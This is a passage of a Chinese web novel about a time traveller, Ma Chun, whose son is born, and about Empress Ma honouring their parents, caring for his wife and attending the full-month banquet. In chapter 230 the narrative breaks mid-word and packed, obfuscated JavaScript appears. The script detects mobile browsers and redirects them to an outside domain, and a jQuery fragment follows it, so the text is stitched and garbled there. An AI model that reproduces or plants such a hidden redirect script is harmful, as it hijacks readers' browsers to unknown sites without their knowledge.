他惯于在生死边缘执针握刀的手,此刻竟微微颤抖起来,失控的感觉如同潮水般侵袭了他坚固的心防。
他快步走到床榻边,动作是前所未有的轻柔,生怕带起一丝风都会惊扰了她透支后亟需修复的沉眠。
他无声地屈膝,半跪在床边的踏脚凳上,这样便能与她的面容平齐。
目光贪婪而痛苦地在她脸上流连。
他的指腹小心翼翼地抬起,几乎要触碰到她脸颊上那苍白的肌肤,却又在最后一刻停住。
他的气息放得极轻极缓,生怕自己的呼吸都会惊扰她的休憩,加重她的负担。
时间在静默中流逝。
内室里只余下两人极轻的呼吸声交织,一个是透支后的绵长,一个是心疼压抑的轻微。
不知过了多久,也许是炉火轻轻噼啪了一下,又或许是她潜意识感应到了那熟悉而焦灼的注视。
徐妙云浓密的睫毛微微翕动了几下,缓缓掀开了一条缝隙。
那双黑白分明的眼睛里,盛满了劫后余生的极度疲惫。
目光有些涣散、失焦。
她似乎用了点力气才辨认出眼前的人影。
当看清是马淳那张写满了忧心如焚和毫不掩饰心疼的面庞时,一丝极其微弱的暖意,终于在她眼底深处缓缓漾开。
“……夫君?”她的声音轻若蚊蚋,气若游丝。
马淳的喉结剧烈地上下滚动了一下,积攒了一路、压在心口沉甸甸的恐惧和担忧终于找到了出口。
他的手掌再也忍不住,轻柔无比地覆上她冰凉的脸颊,用自己温热的掌心去捂暖那片让他揪心的冰冷,小心翼翼地用指腹擦拭掉她鬓角未干的汗渍。
“我在。”他应道,“妙云……我在,一直在门外。”
徐妙云的嘴角努力地向上牵动了一下,仿佛想对他笑一笑,却因为气力不济,只形成一个极淡、极微弱的弧度。
这努力的笑容,却比哭泣更让马淳感到剜心。
“孩子……”她的视线艰难地从他脸上移开一点,带着初为人母最本能的渴切,“……看了吗?……”
马淳立刻用力点头,“看了!”
“刚出生时,哭声洪亮得把屋顶都快掀了,中气十足!陛下和阿姐都抱过了,陛下看了一眼就夸小虎崽子。是个结实的小子!”
他努力想让自己的声音听起来轻松一些。
试图用孩子响亮的啼哭和亲人们的反应冲散她心中的不安。
“他小姨在门外抹眼泪呢。”他又补充了一句。
徐妙云听到他的话笑了一下。
“好……真好……”她低低地重复着,“他……安好……就好……”
马淳看着她因虚弱而几乎难以支撑的眼神,很是心疼,“莫再说话,省些气力。”
“你累了太久,每一丝力气都是命拼来的。你现在最要紧的,就是闭眼,安心地睡。”
“什么都不要想,孩子有奶娘,有我守着。你的心脉方才耗损太过,急怒喜悲,皆是大忌。一丝一毫的情绪起伏,此刻对你都如同斧钺加身。听话,缓过来才是根本。”
徐妙云能清晰地感受到,他目那份几乎要将她包裹起来的小心翼翼。
她艰难地动了动嘴唇。“嗯……”
最终,也只发出了这一个虚弱的单音节,接着她的眼皮越来越沉重,如同被注入了铅块。
沉重的呼吸渐渐变得更加均匀绵长,带着熟睡时才有的平静韵律。
只要丈夫在身边,便能安然沉入梦乡的堡垒。
看着她终于抵抗不住疲惫沉沉睡去,马淳悬在喉咙口的那口气才缓慢地、长长地吐出。
他小心翼翼地收回抚着她脸颊的手,却又立刻执起她一只裸露在被外、同样冰凉的手腕。
动作轻柔至极,如同捧着稀世珍宝。
他的三根手指精确地搭在了她柔腕寸关尺的位置,动作专业,指尖下是她体内奔流的血脉。
内息沉定,气静神凝。
脉象虽然虚弱异常,如同风中微烛,却是平稳而执着地在跳动着。
这沉缓的脉象,尽管气血两虚之势显著,如同大洪之后贫瘠的原野急需滋养,但好在并无惊乱散乱之气,脉道的根基仍在。
确认了这一点,马淳心里那块最沉重的巨石轰然落地。
他轻轻放下妻子的手腕,却没有立刻起身,依旧维持着半跪的姿态,无声地陪伴着。
目光柔和地、久久地停留在妻子苍白的睡颜上。
劫后余生。这个词从未如此刻这般沉重而清晰。
他所珍视的一切——他的爱妻,以及刚刚来到这个世界、需要他们共同呵护的新生命,都在这一片静谧中安稳地呼吸着。
又静候了片刻,确认她的睡颜更加安宁了一些,马淳才极其缓慢地站起身,身体因为久跪而有些僵硬。
他放轻脚步,几乎是足尖点地般挪到房间另一侧,那安置着新生婴儿的精致小摇篮旁,离他母亲的床榻只有几步之遥。
摇篮里,那个小小人儿也在沉睡着。
不再有初降世间时那种响亮到惊动整个府邸的啼哭。
此刻的他安静得如同一个精巧的玉瓷娃娃。
包裹在柔软丝滑的锦缎襁褓里,只露出一张皱巴巴、红彤彤的小脸蛋。
比起他母亲令人心痛的苍白,这小脸的颜色却格外健康蓬勃,像一颗沾着晨露的、充满生命力的小浆果。
稀疏柔软的胎发贴在头皮上。
小巧的鼻翼随着呼吸轻微地起伏,小嘴微微嘟着,偶尔无意识地蠕动一下,像是在梦中满足地回味着什么。
那份初生时能掀翻屋顶的力量暂时蛰伏了,只剩下最纯粹、最脆弱的安宁。
马淳静静地立在摇篮边,微微俯身,双臂轻轻搭在摇篮边缘的护栏上,动作带着一种本能的保护姿态。
他先专注地看了摇篮里熟睡的儿子一会儿,感受着那微弱却持续的生命律动。
那份血脉相连的奇妙震动,沿着摇篮无声地传递到他的指尖。
然后,他的目光重新抬起,越过那几步的距离,再次落回床榻上安睡的徐妙云身上。
摇篮里是新生的幼子,平稳的呼吸是希望的奏鸣。
床榻上是劫后重生的爱妻。
在这一刻,整个世界仿佛都浓缩在了这间温暖的产房之内……
第228章马皇后:爹!咱们老马家添丁了!
产房的门帘隔开,马淳轻轻掀帘出来。
廊外日光明晃晃的,空气清冽,带着冬日特有的干爽气息。
满院子的人影晃动,低语交谈里洋溢着毫不掩饰的喜悦,脸上都挂着笑。
他看到姐姐马皇后就站在离产房不远处的一株老梅树下。
她的脸上不再是之前强行撑起的镇定,而是实实在在的笑。
那笑容像春日暖阳一样,毫无保留地舒展着。
她一直看着马淳。
直到马淳站定,稳住了呼吸,她才快步上前,一把攥住了马淳的手臂。
那手劲很大,带着一种克制不住的激动,微微发抖。
“出来了?真好……真好!阿弥陀佛,菩萨保佑!平安就好,平安是福!”她一连声地说,声音也有些发颤,语速比平时快了不少,“孩子我看了!哭声震天,小胳膊小腿真有劲儿!是块好料!眉眼真像你小时候刚生下来那会儿!”
她似乎有很多话想说,很多欣喜要表达,但最终所有的话语都凝注在那个最本质、最重大的事情上。
她深吸一口气,带着一丝如释重负的庄严。
“阿淳!”她又重重地喊了一声,目光灼灼地盯着弟弟,“看见你抱着孩子出来……姐姐这心啊……才算彻底放回肚子里了!也才算……真的踏实了!”
马淳看着姐姐眼中那难以言喻的感慨,心中也一阵酸涩翻涌。
他懂。
他完全懂得姐姐此刻心里所想。
“姐……”他低声应道。
马皇后的手依旧紧紧攥着他的臂膀,另一只手却抬起,指向了远处,指向那看不见的故乡方向。
“阿淳,走!”说着带着马淳往前走,“跟姐姐来!咱们……得给爹娘磕个头!”
她没有再多解释一个字,拉着马淳就转身。
她的脚步有点急切,向着外厅的方向走去。
那里开阔,向着西北方向。
马淳任由姐姐拉着,沉默地跟上。
她的激动和那份无形的重量,清晰地通过紧紧攥着的手臂传递给他。
穿过人群,喜庆的恭贺声在他们身后暂时止息,大家的目光都落在这姐弟俩身上,带着几分了然和默默的尊重。
外厅里阳光充沛,落地的影子清晰笔直。
马皇后拉着马淳,径直走到最中央、最为开阔的地方。
她停下脚步,没有去看任何摆设,也没有在意旁人好奇的目光。
她的双眼笔直地望向正前方,仿佛能穿透层叠的屋宇,穿透千山万水,望见那片魂牵梦萦的故土——宿州。
那里有他们早逝的双亲,有马家先祖安息的坟茔,有这条血脉最初始的源头。
马皇后深吸一口气,脸上的神情瞬间变得极其庄重、肃穆。
那是一种来自血脉最古老最深处的虔诚。
她挺直了背脊,双手微微理了理衣衫下摆,然后——
撩开宫装的裙裾,竟是毫不犹豫地双膝跪了下去。
光滑冰冷的地面,硬生生地承住了她的膝盖。
紧随其后,马淳也默默地在她身侧一步远的地方跪下。姿态同样庄重肃穆。
他们谁都没有说话。
厅堂内外瞬间陷入一片极致的寂静,连空气都仿佛凝滞了。
所有目光都聚焦在这一幕,充满了理解和无声的敬意。
马皇后双手交叠,掌心向上,稳稳地按在冰冷的地砖上。
她的身体微微前倾,缓缓地、深深地弯下腰去。
最终,她光洁饱满的额头,重重地、结结实实地磕在了冰凉的地砖上。
“咚!”
一声极轻微却异常清晰的叩响,在这寂静到极点的厅堂里荡开。
那不是作秀,那是用血肉之躯撞击大地发出的最纯粹的声音。
这一叩,是为爹娘,是为那些为了这条血脉在乱世挣扎求存、最终倒下的祖祖辈辈。
千言万语都凝在这一叩之中。
马淳也几乎在同一时间,额头紧紧贴在了冰凉的地砖上。
他曾是异世孤魂,机缘巧合被“马淳”的躯壳所承。
那时,他只觉这身份是个意外,是个开始新生的跳板。
血脉?
香火?
那些责任离他如此遥远,如此模糊。
即便后来与徐妙云结为连理,那份对徐家的归属感清晰明了,而对“马家”的认知,更多是围绕在这位坚强、为他付出的姐姐身上,那个“家”似乎单薄得很。
直到此刻。
当他把那个流淌着他与徐妙云共同血脉的幼小生命抱在怀中,感受到那份沉甸甸的真实;
当姐姐拉着他,在这象征最高权柄与荣华的地方,虔诚地叩拜着千里之外的寒坟;
当他的额头触碰大地,仿佛听到无数先祖跨越时空的叹息和凝视。
他才像被一道无形的闪电击中,一种早已融入骨骼血脉的古老传承,一种属于“马家”的烙印,瞬间苏醒,汹涌奔腾!
这不是简单的姓氏继承。
这是血!
是他与姐姐相连的、从父亲身上流出的血!
是那个嗷嗷待哺的小生命身上流淌的血!
更是从宿州那片黄土之下,一代代传下,穿越战争与死亡,最终落在此处的血脉!
此刻,这条血脉因为新生命的诞生而延续,变得清晰、壮大!
那不再是虚无缥缈的传承责任,而是切切实实的血脉相连,是来自灵魂最深处的呼应!
一个声音在他心底如同洪钟般撞响:他是马淳!他不是孤魂!他是马氏血脉在当下最坚韧的一环!他承载了前人的所有期待与托付,如今这托付得以传递,血脉因他而延续、壮大!
他不再是穿越者马淳,他就是当朝徐国公、太医院院判、宿州马氏的顶梁柱——马淳!
马皇后的额头依旧贴着冰凉的砖地,肩背却微微颤抖起来。
一滴,两滴……晶莹的水珠悄无声息地砸落在冰冷光滑的地面上。
她没有哭声,只有压抑到极限的哽咽。
几十年的风霜血雨,无数个孤灯长夜悬起的心,对父母无言的愧疚和承诺……
所有积压的情感,都在这一刻、在这最朴素的跪拜磕头中决堤而出。
终于……终于熬到了今日!
老马家……真的有人了!
父亲的血脉,没有断!在她与弟弟手上,延续下去了!
这一路走来太苦太险,支撑她到今天的,除了对丈夫、儿子的责任,还有一丝压在心底最深处的、不敢对人言的执念——绝不能让爹娘无后!绝不能断了马家的根!
如今,弟弟得子,血脉延绵。
她抬头起身时,脸上仍有泪痕,目光却清澈得能映照出整个天空。
她看着身旁也抬起头的弟弟马淳。
“爹,娘……”马皇后的声音哽咽着,“咱们马家……真的后继有人了!是个好小子!以后……我和阿淳,会好好地,把他养大,让他成才……替咱们老马家光宗耀祖!”
说完这句话,她脸上露出一个极其纯粹、毫无负担的笑容,像饱饮了甘泉的花朵。
她扶着地站起身,又伸手用力将身旁的弟弟马淳也拉了起来。
马淳站起身,看着姐姐脸上的笑容和泪痕,千言万语堵在喉间,最终只是低低地、极郑重地应了一声:
“嗯!”
这一声应诺,重逾千斤,蕴含着对姐姐、对父母、对这份血脉的全部承担。
他转头,目光越过喧嚣的庭院,再次投向那扇紧闭的产房门扉。
那里,是他的妻,也是他马氏血脉得以延续的母亲。
马皇后顺着他的目光,也望向产房,脸上露出温和满足的笑意。
“这儿有我,外头也有人伺候,你就在这儿安心守着他们娘俩。”她转头对马淳说,“我看你眼下青黑,精气神也耗得厉害。妙云那丫头也是拼尽了全力的功臣。你们啊,都该好好歇着,把元气养回来。”
她轻轻拍了拍马淳的手臂,“什么也别想,好好陪陪你媳妇,看看你儿子。这大喜的日子,就该稳稳地、踏实地过。”
马淳点点头,眼底有温暖流淌。
姐姐的话说到了他心坎里。
此刻,他只想守着那扇门后的安宁。
看着弟弟脸上的神情,马皇后心中最后一丝忧虑也烟消云散。
她又笑了笑,转身朝着廊外等候的人们走去,背影挺拔而从容。
……
第229章马皇后长姐如母,实至名归
马淳将妻儿暂时托付给姐姐和宫人,整了整微皱的袍袖,踏入国公府前厅。
这里已是一番新的景象。
贺客如潮,珠光宝气,锦衣华服,都是应天城中有头有脸的人物。
平日里,即便是徐国公府的门槛也非轻易可入,如今新添麟儿,国公之位更显贵重,自然引动无数心思攀附。
众人三五成群,低声交谈,面上挂着得体的笑容,眼神却带着审视,目光或明或暗地扫向门口,只待主人现身便上前道贺。
马淳的身影甫一出现,厅内瞬间安静了几分。
各种热切的目光汇集在他身上。
“恭喜国公爷!”
“贺喜国公爷喜得贵子!”
“贵府弄璋之喜,实乃大明之福!”
道贺声此起彼伏,众人纷纷上前行礼,姿态恭敬,言辞恳切。
马淳平静地拱手回礼,礼节周全,却不热络。
他深知,这些诚惶诚恐和溢美之词,多半是冲着他头上的国公头衔和手中的太医权柄而来。
心底并无太多波澜,这是应酬,亦是人间常态。
正当此时,一个温厚的声音穿透了嘈杂。
“诸位!”
是马皇后的声音。
她不知何时已站在厅内主位稍侧一些的地方,没有刻意占据正中,但那股沉静的气度自然让人将目光集中过去。
众人立刻屏息静待。
只见她脸上带着恰到好处的笑容,是寻常官宦人家主母待客的雍容,却褪去了那层令人不敢逼视的至高威仪。
“家弟今日喜添麟儿,诸位亲朋挚友拨冗前来道贺,马氏一门,感激不尽!”她微微颔首,声音传遍厅堂,“大家皆知我身份,然今日在此厅堂,不分君臣,只叙亲朋之谊。”
她目光扫过众人,坦然而从容。
“今日,我不是大明的皇后,只是马家的长姐,是新生儿的大姑母。马淳便是我的亲弟弟,这徐府添丁,亦是马家开枝散叶的喜事。诸位前来,以贺喜之意待我马家,马氏一门,自当以诚相待,以情相还。”
这番话不高亢,却字字清晰。
既点明了自己的双重身份,又巧妙地划清了界限——此刻厅中,她是马家长姐。
人群中的气氛悄然转变。
那些原本拘谨、暗含审视的目光里,多了几分恍然与感慨。
一些真正的故旧,如徐达、汤和等人,脸上露出深以为然的笑意,神态愈发松弛自然。
马淳站在一旁,看着姐姐。
看着她不疾不徐地穿梭在宾客之间,与每一位上前道贺的客人交谈,无论是位高权重的公侯,还是身份稍低的官员,她都一视同仁。
言语温煦,态度诚挚,全然是家族长辈主持大局的气度。
有人送上重礼,她微笑着,温言道谢,却并不让焦点停留在礼物的贵重上。
有人只是几句朴素的吉祥话,她也同样郑重地感谢这份情谊。
她甚至会特意询问一些看起来有些紧张的远房亲戚或是马家村邻里的代表,细问近况,言语间充满关切。
“李伯,您老腿脚还好吧?大老远过来,累着了没?”
“张婶,村里收成可还顺当?”
“陈大人,令堂身体康健吧?前两日听魏国公提过一句……”
她将每一位道贺者都纳入了“亲朋”的范围,真诚地接待。
那些因为她的皇后身份而生出的隔膜,在她平易温和的言行中悄然消融。
许多客人脸上的笑容变得真切起来,交谈声也自然放松了许多。
厅堂内开始弥漫起一种由她主导的、其乐融融的家常氛围。
朱元璋不知何时也踱了过来。
他并不直接参与应酬,只是负手站在厅堂偏角,像一座沉稳的山。
当他的目光落在马皇后身上时,那股帝王的威压奇特地柔和下来,眼底掠过一丝欣赏与难得的温情。
“规矩免了。”他对身边试图请示的侍从低声简短吩咐了一句。
这声音不大,却足以让近处几位敏锐的重臣听见。
汤和微微颔首,李善长捋须不语,眼底精光一闪。
马淳静静站在一旁,心中的暖流却越来越明显,越来越烫帖。
他当然知道,今天登门祝贺的大部分人,为的是徐国公府的权势,为的是太医院院判的权柄,甚至为的是在圣驾面前露脸。
趋炎附势,人之常情。
他也习惯了在高处不胜寒的身份带来的人际疏离。
然而此刻,姐姐所做的一切,却是在以最朴实、最真诚的方式,为他、为这个新生的婴儿,撑起了一个“家”的氛围。
她用自己的身份、地位、影响力,乃至智慧和人情练达,暂时抹平了权势带来的冰冷鸿沟。
将一场本可能充斥功利攀附的应酬宴会,生生扭转为一场带着人间烟火气的家族喜事。
她不是在炫耀“皇后”的身份给娘家撑门面。
她是摘下凤冠,挽起衣袖,以一个长姐对幼弟和侄儿最深沉的爱护,亲自下场搭建一个温暖的巢。
这份心思,这份担当,这份源自血脉的、毫不迟疑的守护,深深触动了马淳。
穿越以来,他拥有了许多:知识、地位、爱情、家庭。
甚至曾以为那名为“马淳”的躯壳所承载的血脉只是偶然,归属感主要来自徐府。
但姐姐用行动告诉他,那根植于宿州黄土之下的血脉是如此的坚实和温暖。
看着她鬓角微汗却依然从容含笑地与一位老者交谈,看着她不着痕迹地引导着厅堂里的氛围走向温情,看着她以“大姑母”的身份接受着村人朴实无华的祝福……
马淳喉头微微发紧。
眼底有些什么温热的东西,似乎要涌上来。
他轻轻吸了口气,强行压了下去。
这份感动无需宣之于口,它会深埋心底,成为另一份沉甸甸的责任与守护的源泉。
恰在此时,后院隐约传来一声婴儿特有的、中气十足的啼哭,不算吵闹,却清晰可闻。
声音透过重重回廊,竟神奇地盖过了前厅的喧嚣。
厅内瞬间安静下来。
所有人的目光都不由自主地投向声音的来处。
马皇后的脸上,倏然绽放出一个无比灿烂、毫无保留的笑容。
那笑容里,没有皇后的雍容华贵,只有纯然的欢喜和骄傲。
“听听,”她转过身,声音里带着笑意和一种家人独有的分享喜悦,“我这大侄儿,脾气还不小呢,这是催着大姑母去看看他了!”
这充满烟火气的调侃,这自然而然流露的亲情,将所有尚存的拘谨和客套彻底击碎。
“哈哈!”
“小公子中气足啊!”
“真不愧是徐国公之后!”
“马大姐,快去瞧瞧您的宝贝侄儿吧!”
善意的笑声和应和声顿时响遍厅堂。
恭贺的词汇不再像之前那般文雅雕琢,反而带上了几分亲近的随意。
“马大姐”、“马家大姐”这样的称呼,私下里悄然取代了“皇后娘娘”的称谓。
气氛达到了前所未有的融洽自然。
马皇后笑着对众人道:“那诸位且宽坐,我先失陪片刻,去看看那闹脾气的小家伙。”
说完,对众人再次颔首致意,便由宫女拱卫着,脚步轻快又难掩急切地往后院去了。
她的背影,在今日所有贺客眼中,不再是那个母仪天下、距离遥远的皇后,而真真切切地是一位回家为弟弟和侄儿操持喜宴、满心欢喜的长姐。
马淳目送着姐姐的身影消失在通往内院的廊道尽头。
前厅的热闹再次响起,但氛围已然不同。
人们谈论着家长里短,谈论着孩子的啼哭,谈论着马家大姐的和气可亲。
朱元璋不知何时又踱回了那个角落,似乎只是随意看看,他目光扫过热闹的人群,又若有似无地掠过同样站在一旁的马淳。
那帝王的威严面容上,竟极其罕见地闪过一丝可以称之为“温情”的笑意,随即又恢复如常。
马淳微微闭上眼睛。
耳边是喧嚣的人声,鼻端是混杂的熏香茶点气味……
第230章马皇后亲自伺候徐妙云坐月子!
一个月后。
青砖壁炉静静吐着暖意。
铜鎏金西洋钟的钟摆在婴儿房一角恪守律动。
暖榻上的锦被裹着一个裹在柔软棉布里的婴孩,睡得小脸通红。
马淳指尖拂过光洁的实木婴儿床栏杆,目光掠过角落里那台模样古朴却恒温恒湿的“石匣”。
那是系统兑换的恒温箱,耗费了他不少积分。
旁边搁着一套薄如蝉翼、针头几乎看不见的微型注射器,和几支储存于玉瓶中的澄清药液:改良版牛痘苗、百白破疫苗……
门帘轻响,徐妙云走进来。
她身着杏色家常袄裙,身姿仍带着产后特有的丰腴柔婉,脸上气血温润。
她动作自然地抱起睡醒开始哼唧的儿子,解开衣襟。
“气色稳住了。”马淳的声音在她身后响起,“骨伤亏空补回了八成,那支辽东老参精粹液见效快,只是味道冲了些。”
他目光落在床头矮几上,一个细长颈的白玉瓶空空如也,那是每日晨起空腹饮用的浓缩营养剂。
徐妙云轻轻拍抚着怀里的孩子,唇角微弯:“娘和姐姐都说恢复得比常人快得多,精力也回来了些。就是夜里……总听到有推宫过血般暖暖的流动感……”
“是微磁共振修复仪的辅助,促进深层肌理愈合。”马淳解释。
婴儿在她怀里找到源头,用力吮吸起来。
徐妙云低垂眉眼,脸颊透出柔和的光晕。
“这样就很好,”她声音轻软,“再好便不似人间了。”
她看着马淳眼底掩饰不住的倦色,“倒是你,这一个月……”
她没说下去,目光落在婴儿床上那堆器械上,已然明了。
那些冰冷的装置背后,是这个男人沉默无言、耗尽心力的守护。
“阿淳!妙云!”
清亮温和的呼唤从外间传来,带着宫仪训练出的从容与长姐特有的亲近。
马皇后绕过云母屏风,身上是寻常贵妇穿的沉香色柿蒂纹杭绸大袄,髻上只簪一根青玉如意簪,全然不见凤冠霞帔的威仪。
她身后跟着两个低眉敛目的宫女,各捧着一个剔红云龙纹托盘。
一股醇厚诱人的香气先于脚步弥漫开。
马淳立刻迎上去,脸上第一次显出几分手足无措的急迫:“阿姐,您怎么又亲自来了?御膳房的药膳遣人送来便是,您这每日一……弟弟实在承受不起!”
“受不起?”马皇后脚步未停,“父母不在,我能不来多关心?”
她示意宫女将托盘上的青瓷莲瓣汤盅和一套白玉小盏放在桌上,亲自揭盖。
蒸腾热气裹着浓郁的药香与肉香汹涌而出,色泽澄黄的汤汁里沉浮着莹白的龙眼肉、通红的枸杞、暗红的当归片。
“坐下。”马皇后对徐妙云道,语气里是自然而然的熟稔关切。
等徐妙云抱着喝饱后开始打小嗝的婴儿坐好,她才转向马淳,目光深深,“阿淳,我只有你这么一个骨肉相连的胞弟。”
“爹娘走得早。”马皇后拿起汤匙,舀起一勺金黄油润的汤,仔细撇开上层浮油,“这片天底下,我是你姐姐,长姐。长姐如母。”
四个字,落在地上,沉甸甸的。
马淳猛地别过脸去。
马皇后目光柔和地转向小口啜饮着汤的徐妙云,语气瞬间温软下来:“慢点喝,里头加了点鹿筋胶,是长筋骨的好东西。看看这小手小脚,”
她伸出手指,用指背极其轻柔地触碰婴儿紧攥着的小拳头,“多结实。这孩子旺相,比雄英那时候看着还健硕几分。”
小婴儿被惊动,乌溜溜的眼睛睁开了,清澈懵懂地望着陌生的姑母,竟也不哭。
倒是小手不知怎么一抓,揪住了马皇后一缕垂在颊边的鬓发,微微用力。
马皇后身体一僵,随即眼底的暖意几乎要流淌出来,她一动不动,任由那柔弱的小手拽着。
“哟,”她声音都变轻了,“知道姑母疼你,是不是?小猴崽子。”
她伸出手指,轻轻点了一下婴儿红彤彤的脸蛋,动作温柔得不可思议。
婴儿小嘴一咧,吐出一个奶泡泡。
徐妙云忙去解救姐姐的头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053377|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发,手指刚碰到婴儿的手腕,马皇后却轻轻挡开了她:“无妨,让他抓着。这点力道,抓不疼。”
她眼神复杂地看了片刻那双紧攥着自己发丝的小手,又抬起头,对马淳笑了笑,“阿娘临终前,拉着我的手,冰凉凉的……只说了一句话:‘女儿啊,娘看不见你成家,看不见你们马家留后了……娘……不甘心哪……’”
她声音没有刻意哽咽,只是平铺直叙,每个字都像冰冷的秤砣,压得房间里刚因婴儿的举动而升腾的暖意,瞬间凝滞、沉重,丝丝缕缕渗进骨头缝里。
徐妙云捧着汤盏的手定住了,眼睛酸涩无比地垂下。
马皇后仿佛只是为了把这句话平平淡淡地说出来,话毕,便低头轻轻捏了捏婴儿的小脚丫,语气重又恢复温煦:“好了,快把汤趁热喝完。妙云,夜里若觉得虚,就嚼两颗那‘补元丹’,阿淳说是甜的?别怕上火,那方子我问过太医院,确是中正平和之物,难得。”
她仔细问了徐妙云今日身体细微的反应,看了孩子的舌苔、指尖,才在暮色完全四合、宫灯次第亮起时,带着宫女回宫。
暖阁里只剩下婴孩偶尔吮嘴的细微声响。
徐妙云靠着软枕,眼神温软地落在已酣睡的儿子脸上,手指无意识地轻抚着他稀疏柔软的胎发。
马淳不知何时坐到了床边的小杌子上,离她们很近。
他摊开手掌,掌心里躺着一枚鸽蛋大小、通体玄黑的铁丸,表面布满极其细微的蜂窝状孔窍。
“什么?”徐妙云低声问。
“次声波安抚助眠器,”马淳指腹摩挲过那冰冷的金属,“若夜里他莫名惊醒啼哭,又不像是饿或不适,启动这个。人耳听不到的次声频率,可模拟母体心跳。”
徐妙云安静地看着那个不起眼的铁丸,又看了看丈夫低垂的眉眼和抿紧的唇角。
这一个月,他殚精竭虑于无声处,将各种不常见的物件一寸寸铺垫在她们脚下。
“值了。”马淳忽然说,声音很轻,“看着你们好好的……”
……
第231章满月宴!聚天下勋贵!场面浩大
正月初八的清晨,马淳站在窗前,看着庭中腊梅最后一茬残蕊坠落。
徐妙云抱着刚睡醒的婴儿走过来,裹着杏色云锦斗篷,眉宇间是初为人母的温软。
“可想好了名字?”
“想好了,”马淳回身,指尖轻轻拂过婴儿柔软的脸颊,“叫‘马寻’。”
“‘寻’?”徐妙云温声复述。
“是‘寻’。寻找的寻。”马淳的目光掠过庭院,“寻一份根脉,归处,安稳立身之地。”
徐妙云将婴儿往他怀里递去。
“让他也认认这名字。”
襁褓温热柔软,带着淡淡的乳香。
小婴儿半睁着乌溜溜的眼睛,竟咧开无牙的小嘴,露出纯净的笑容。
马淳心头暖流涌动,郑重道:“爹娘寻到了你,愿你……也能寻到属于你自己的那片天地。”
徐妙云靠在他肩头,轻声道:“也愿那天地少些风雨。”
朝阳初升时,徐国公府门前已排开仪仗。
朱红府门大开,两排披青甲持金瓜的家将分立两侧,甲叶在晨光下闪着寒光。
魏国公徐达身着超品国公**袍,站得如同一杆标枪,气势沉凝。
长子徐辉祖、次子徐增寿皆着大红麒麟服侍立左右。
“信国公到——”
“西平侯到——”
唱名声由远及近,络绎不绝。
汤和须发皆白,脸上带着岁月刻下的深痕,龙行虎步而来,抱拳朗笑:“徐大哥,恭喜恭喜!”
徐达笑着还礼:“劳贤弟动步!”
紧接着是面色冷峻的西平侯沐英,他朝徐达父子一抱拳,嘴角难得地松动了一丝:“徐公,府上弄璋之喜,可喜可贺。”
“同喜,同喜!”徐达回礼。
勋贵重臣的车马如流水般涌入前庭。
永昌侯蓝玉一身箭袖劲装,腰系玉带,鹰视狼顾依旧,拱手间带着凛冽气息。
曹国公李文忠神色温煦,领着长子李景隆含笑而来。
颖国公傅友德身后跟着长子傅忠和幼子傅让。
韩国公李善长须发整齐,一身文士常服,含笑颔首。
信国公汤和、宋国公冯胜、长兴侯耿炳文、武定侯郭英……
几乎囊括了大明开国功勋的半壁江山,个个位极人臣,威势赫赫。
马蹄声、车轮滚动声、唱名声、寒暄声,交织成一片无形的洪流。
太子朱标的仪仗在府门外停下时,整个国公府霎时安静下来。
朱标身着杏黄四团龙袍,神色温润,牵着同样着杏黄小袍的皇长孙朱雄英下了车。
朱雄英已褪去不少稚气,好奇地看着眼前盛况。
徐达领着儿子们趋步上前,正要大礼**,朱标已先一步伸手扶住他的臂膀,笑容和煦真挚。
“今日是家宴,魏国公万勿多礼!雄英,还不快给国公爷道喜。”
朱雄英规规矩矩地拱手,声音清脆:“恭喜魏国公府添丁!”
“谢太子殿下!谢皇长孙!”徐达忙回礼。
朱雄英眨了眨眼,小声问道:“国公爷,小表叔好玩吗?”
稚气冲散了场面的肃穆。
正说话间,府门外再次响起洪亮的唱喏:“陛下驾到!皇后娘娘驾到!”
府门内的所有声息像是被一刀截断。
朱元璋身着赭黄常服在前,身旁是凤冠霞帔却笑若春风的马皇后。
黑压压的人群如浪分波,瞬间匍匐于地。
“参见陛下!参见皇后娘娘!”
声音汇聚,震得府门铜钉都嗡然共鸣。
朱元璋脚步不停,摆了摆手:“都起来!今儿是咱侄儿的好日子,不弄虚礼!”
他目光如电,扫过在场勋贵,大步流星朝正厅走去。
马皇后却落后一步,目光捕捉到抱着襁褓站在侧廊下的马淳夫妇,脸上笑意更深。
朱标、朱雄英、秦王朱樉、晋王朱棡、燕王朱棣、周王朱橚、楚王朱桢……一应皇子皇孙随后而入,各有龙姿。
“快!给姑母瞧瞧寻儿!”
正厅偏暖阁内熏炉暖香。
马皇后落座后便迫不及待地伸手,动作里带着长姐的熟稔亲昵。
徐妙云含笑将襁褓递去:“阿姐小心些,这小子刚吃饱,怕是要耍懒了。”
“耍懒姑母也认!”马皇后接过孩子,抱得稳稳当当,低头细看。
一个月过去,新生儿褪去了红皱,小脸白净圆润。
乌黑眼仁如同浸在水里的两丸墨玉,此刻正好奇地对着眼前陌生的、金碧辉煌的凤冠和慈爱的眉眼。
“寻儿……好名字!”马皇后抬头赞许地看了弟弟一眼,声音有些微哽,“根稳了,心就定了!咱们寻儿日后定是个顶天立地的好儿郎。”
朱元璋坐在不远处的紫檀太师椅上,姿态依旧笔挺威严。
“抱过来,让咱也好好瞅瞅!”他发话。
马皇后抱着孩子起身,走到朱元璋面前。
襁褓里的孩子被调了个位置,无遮无拦地迎上了那双审视过**河山、曾使多少悍将名臣都冷汗涔涔的凌厉凤眼。
厅中落针可闻,所有人的呼吸都下意识放轻。
朱元璋目光沉沉地落在婴儿脸上,那与生俱来的帝王威压让空气几乎凝固。
就在徐达眉峰微凝之际——
“咯咯……”
一声清脆的婴儿笑声毫无预兆地打破了死寂。
粉团团的小婴儿,竟在朱元璋那能止小儿夜啼的目光注视下,笑得眉眼弯弯,小手还从襁褓里探出半只,胡乱地抓挠着空气,一副毫无心机的欢喜模样。
满堂愕然。
须臾之后,雷霆般的大笑骤然爆发!
“哈哈哈哈——好!好胆量!不愧是咱妹子家的血脉!”朱元璋大笑着伸出手,从马皇后怀里接过孩子。
他动作不甚熟练,却异常稳当。
那笑声震得雕梁嗡嗡作响,也驱散了众人心头无形的寒气。
